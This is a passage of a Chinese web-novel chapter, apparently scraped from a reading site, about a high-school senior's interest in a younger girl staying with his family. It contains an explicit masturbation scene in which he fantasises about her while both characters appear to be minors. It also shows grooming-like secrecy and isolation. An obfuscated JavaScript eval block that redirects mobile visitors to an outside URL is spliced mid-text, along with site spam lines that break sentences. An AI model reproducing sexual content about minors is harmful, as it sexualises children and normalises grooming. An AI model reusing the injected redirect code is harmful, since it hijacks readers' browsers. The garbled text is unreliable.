看完这一行字,关弥愣住了。
她眨了眨眼,心里满是困惑。他这两天不是对她很冷淡吗?为什么会在意她有没有对他笑?
她带着满腹疑问,手不自觉地翻开了第二页。
[出来阳台]
她下意识扭头往阳台看,好奇心驱使着她起身走过去。
当她推开门,探出头向左望去时,心跳蓦地漏了一拍。
沈晏风就倚在隔壁阳台的栏杆上,侧身看着她。
两个阳台之间仅隔着一臂多的距离,而且都没有安装防盗网,身手灵活些的话,完全可以自由穿梭。
她对上那双漆黑的眼睛,心里犹豫着要不要笑起来。
还没等她做出决定,男生已经迈步走了过来。
他的阳台亮着灯,而她的这边一片昏暗。在光线的映照下,他的皮肤透出一种冷白的质感。
夜风吹开他额前细碎的短发,露出英挺清晰的眉眼。
他轻声问:“弥弥想吃蛋糕吗?”
又是“弥弥”,大家都不这样叫她。她听着莫名别扭,好似被强行拉近了距离。
她嘴角动了动,继而扬起了礼貌的微笑:“谢谢哥哥,我今晚吃饱了……”
“可蛋糕是特地给弥弥买的。”他温声打断,“欢迎你来我家。”
她心口一跳。他竟然是欢迎她的?
“蛋糕很大如果浪费了,奶奶会责备我。”沈晏风再靠近一步,腹部几乎要贴上围栏,“刚找到了几本高一的物理竞赛笔记,你不要吗?”
要!当然要!办理入学时校长就说过,沈晏风从高一起就包揽了北京市物理竞赛一等奖。这样的笔记,是多少人求都求不来的。
她点点头,眼眸晶亮。
沈晏风轻笑:“那就过来。”
“过来?”她一时没反应过来。
“嗯,”他语气自然,“来我房间拿。”
关弥微微一怔,脸上浮现出些许为难。她抬眼看了看他,又迅速垂下视线。
这……不太合适吧?虽然他们小时候一起睡过觉,但毕竟都这么大了,深夜独自去他房间……
沈晏风看着她微红的耳廓,“明天我要出门一趟,可能开学才回来,你想等那么久?”
关弥终究没抵住笔记的诱惑,挪步到隔壁房门前。正要抬手敲门,门就从里面打开了。
她的视线掠过沈晏风,悄悄打量房间,灰白主调,床铺平整得没有一丝褶皱,整个空间简约得冷清。
走进房间,她拘谨地站在原地。
看着沈晏风搬了张椅子放在书桌旁,桌上摆着个奶油蛋糕。
雪白的奶油裱花很精致,顶端点缀着鲜红草莓,空气中弥漫着甜润的奶香,仿佛已
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
经能尝到那入口即化的绵密口感。
他示意她在旁边的椅子坐下自己则坐在书桌前把一本厚重的物理竞赛笔记推到她面前。
“先吃蛋糕。”他拿起蛋糕刀切下一角盛在纸盘里然后把所有草莓都刮在那一角蛋糕上“笔记你可以带回去慢慢看。”
关弥依言坐下挖了一勺带着草莓的蛋糕送进嘴里。清甜的果香在舌尖漫开她垂下眼帘轻声说:“我以为你不欢迎我所以才笑不出来。”
既然吃了人家的蛋糕拿了人家的笔记她选择坦诚相告。
沈晏风手肘撑在桌面上侧过身来看着她。
“怎么会呢。”他声音很温柔带着若有似无的笑意“以前我不是说过吗?欢迎你来北京找哥哥。”
他等这一天好久了。
关弥抬头看他心里那点别扭感不知不觉就没了。
她不知自己嘴角还沾着小块奶油白色印子贴在唇角。抬眼时脸颊带着些许婴儿肥说话轻轻地整个人看着干净又柔软。
记忆里的沈晏风就该是这样的。八岁那年他在她家小住总会耐心陪她和关棠玩些幼稚的游戏。
沈晏风垂眸凝视着她目光在她唇边停留了一瞬。
“沾到奶油了。”他的嗓音低了下去略微嘶哑。
他把纸巾盒推过去抽出一张递给她。
关弥接过纸巾用力擦了擦嘴角不经意对上他直直落在她唇上的视线。她动作一顿有些不自在地笑了笑:“擦干净了吗?”
“嗯。”沈晏风应着却又说“没有。”
他重新抽了张纸巾低头凑近。拇指隔着纸巾轻轻按在她唇角力道不轻不重。
关弥倏地睁大眼睛视线里是他低垂的睫毛和高挺的鼻梁。她下意识地吞咽想要后退他却已经直起身。
“干净了。”他神色如常地收回手“拿回房去吃吧我要休息了。”
“哦……好的。”关弥迅速起身拿着东西关门前道了句晚安才走。
这栋老楼的房间都不带独立卫浴一楼二楼各有一间浴室如今二楼这间就只归关弥和沈晏风使用。
临近凌晨关弥才去洗漱。
她站在花洒下温热的水流冲刷着身体。目光不经意间扫过角落的脏衣篓里面放着沈晏风换下的衣物。
她很快收回视线
洗完澡她顺手把自己的衣物洗净。尽管这里有保姆她还是习惯自己的事情自己做。
她端着装着湿衣的盆子进卧室时隔壁的房门开了。
沈晏风进入浴室门在身后合上他背靠着微凉的门板。
空气中弥漫着和关弥发间相同的
你的朋友正在书荒,快去帮帮他吧
、清甜的水汽与香氛味道。
他的视线扫过那个空的、属于她的脏衣篓。
他单手解开裤扣,拿出精神抖擞的东西,再伸出刚才那只给关弥擦过脸就没触碰过其他东西的手。
掌心拢住,拇指摁着敏感的前端。
他闭上眼,脑海中不受控制地浮现出女孩圆睁的眼眸,泛着红晕的脸颊,以及那看起来柔软无比的粉嫩唇瓣。
一定很软。
她的唇,尝起来一定和想象中那样甜软。
这个念头如同野火燎原。
他快速地,发狠地鲁动。
他忽然清晰地记起,关弥五岁那年,有次摔跤,整张脸不小心凑到了他脸上。
那时他只觉懵懂嫌弃,此刻回想起来,他发了疯似的想要再来一次。
喘息在密闭的空间里变得粗重。
他经常这样,高中的压力越大,就越需要用这种方式释放,但他从没看过那些乱七八糟的东西,更没想过别人。
前年奶奶收到关家寄来的海边照片时,他正好在旁边。
记忆中的女孩已长成了亭亭玉立的少女,穿着草绿色吊带长裙,唇红齿白,笑靥如花。
那一刻他的心疯狂鼓动,差点就夺走照片。
现在照片里的人终于来到了他面前,他根本压抑不住这些肮脏的念想。
突然,沈晏风听见了外面的脚步声。
一下,两下,然后戛然而止。
他微微扭头,隔着门板,明明什么都看不见,却仿佛能看见门口那个惊慌失措的女孩。
他眼神暗了暗,手上的东西一下子就涨到了极致。
声音更大了。
关弥端着空盆僵在走廊里,听着浴室里的低喘,脸颊瞬间烧得滚烫。
她慌乱地逃回房间,反手锁上了门。
方才隔着浴室门听见的声音还在耳边回响,伴随着某些难以忽视的声响,让她心跳如擂鼓。
那个冷淡又温柔的哥哥,竟然在浴室里……
这、这应该是正常的吧?初三时她就听同桌说过,经常能听见小她一岁的继弟在夜里弄出些让人脸红的声音。
初二生都会这样,高三生就更不用大惊小怪了,都是青春期的反应……她放下盆,强迫自己坐回书桌前,试图用书本来转移注意力。
“叩叩——”
她手指一顿,扭头看着门。
“弥弥,开一下门。”
那道嗓音还很沙哑,推算时间,是不是才结束没多久?
她在心里疯狂尖叫。
别想了!别想了!
“怎么了吗?”她的声音细如蚊呐。
“开门,有东西给你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124087|182047||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
她深吸一口气,拍了拍发烫的脸颊,走过去打开门,故作平静地看向门外的
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
男生。
沈晏风脸色很淡,递出手里的发卡:“掉了没发现吗?”
关弥低头看去,自己那枚白色发卡正躺在他那红得不正常的掌心里。
……
他刚才应该没发现她在外面吧?
她强作镇定地接过发卡,手指小心地避开他的皮肤。
“对了,这个也给你。”沈晏风从口袋里掏出一串钥匙,“我房间有台座机,以后要打电话不用去楼下。我出门这段时间,你可以来我房间打,没人会打扰你。”
关弥眼睛一亮,她正愁在楼下打电话会打扰到别人,没想到沈晏风会替她解决了这个烦恼。
“可我总是进你房间也不太好。”
“没关系。”沈晏风说,“一般人不会上来。”
“里面的书你可以随便看,”他顿了顿,“电脑会用吗?”
她脸颊微红,在家里她连手机都很少接触,更别说电脑了。
“明天上午我十点的飞机,吃完早餐来我房间,我教你用。”
他补充:“这是我们之间的秘密,不能让家里人知道。”
隔天早上用餐时,关弥安静地听着沈奶奶对沈晏风叮嘱出国事宜。
原来他这个暑假要去参加美国某理工大学的暑期科研项目。
“行李都收拾好了?重要证件可别落下。”沈老太见孙子起身,也跟着站起来,“我上去帮你检查检查。”
“不用。”沈晏风轻轻地按住沈老太的肩膀,“您继续吃,粥凉了对胃不好。”
他转身时,视线掠过关弥,随即迈步上楼。
关弥迅速低头,专注地吃完碗里最后一个生煎包,和沈老太聊了会儿天才上楼。
她叩响房门,里面传来一声“进”。
推开门,看见沈晏风正坐在电脑前,旁边已经为她准备好了另一张椅子。
“过来。”他说。
关弥走过去坐下,看着他按下电源键。当电脑进入桌面后,他示意她握住鼠标:“先教你注册QQ。”
她生疏地移动着鼠标,耳边是他的讲解。他不知不觉靠得很近,温热的气息偶尔拂过她的耳畔。
“密码设什么?”他指着输入框。
关弥想了想,输入一串字符。正要点击确认,身旁传来清润的笑声:“用生日加名字缩写?”
她惊讶地转头,鼻尖险些擦过他的下颌。他不知什么时候靠得这样近,近得能看清他睫毛的弧度。
“太简单了。”他似乎一点也不在意两个人的距离,“容易被盗。”
最后他帮她设了一个更复杂的密码,又顺手加了自己为第一个好友。
接着他教她怎么用网页查资料,怎么玩小游戏,怎么在线听音乐和看电影。
关弥完全被电脑里新奇的世界吸引住了,她本以为妈妈手机里的俄罗斯方块已经够有趣,没想到电脑里还藏着这么多意想不到的精彩。
沈晏风注视着她的侧脸,“教了你这么多,该轮到你帮我个忙了。”
关弥立即转过头来。
“阳台那几盆花,需要每晚九点准时浇水。保姆阿姨常会忘记,从今天起交给你来照顾?”
“好!”她毫不犹豫地应下。
沈晏风眼底闪过一丝笑意:“我每天都会在晚上九点给你打**督。”
关弥认真点头:“我一定不会忘记,也会准时接电话。”
“等有空了,”他语气温和,“我会去探望你家人,替你看看他们。”
关弥一愣:“谢谢哥哥。”
“平时少往外跑,”他整理着桌上的东西,“实在想出门,等我回来带你去。”
这样细致周全的沈晏风,对关弥来说简直比亲哥还亲。
她原本以为,像他这样在权势中心长大、家世显赫的子弟,多少会有些骄纵,却没想到他不仅没有半分架子,反而处处为她着想,体贴入微。